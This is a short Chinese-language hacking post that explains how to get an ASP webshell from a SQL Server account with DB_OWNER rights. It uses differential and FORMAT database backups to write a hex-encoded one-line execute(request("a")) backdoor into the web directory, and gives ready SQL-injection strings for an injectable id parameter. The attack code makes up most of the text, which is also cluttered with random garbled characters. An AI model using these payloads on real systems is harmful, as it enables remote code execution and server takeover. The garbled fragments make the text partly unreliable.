DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
& i1 N0 b# r) W+ j+ {2 @一利用差异备份
% V6 P! }: u2 U( y1 m加一个参数WITH DIFFERENTIAL

+ K. u" h. n' U% L9 |! _) q1
* d' q4 h& s4 ^6 ]! v2
: k; F' C' ^4 d, r: N3 c4 P! ^3
5 r+ n$ f, i# S% C" o4
1 b7 F# u2 ~0 Q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, y/ d5 S' a, Z3 W5 ucreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
7 m4 L9 y# g1 N加一个参数WITH FROMAT
, @- S# E. I9 m9 [有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
: W3 P% z8 W1 C4 P* o0 n& s
1
; x0 Y7 i0 x  A8 K5 _4 Y$ W8 |# C2
7 x4 I% C) H" A* x. Y- `; I3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
3 Q3 @# {7 z8 A3 r4 vinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2 J7 B4 g. v/ R" e; Adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
/ \' Z" ?, |7 Q1

$ D2 W2 q+ Z, y0 t  X1
, B: b) t) e: _% s2 L id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2 a8 c0 o# q7 e% @- C
2
; L# D4 y6 T$ {* ^. N  l
1
id=1;backup database model to disk='你的路径‘ with differential,format;--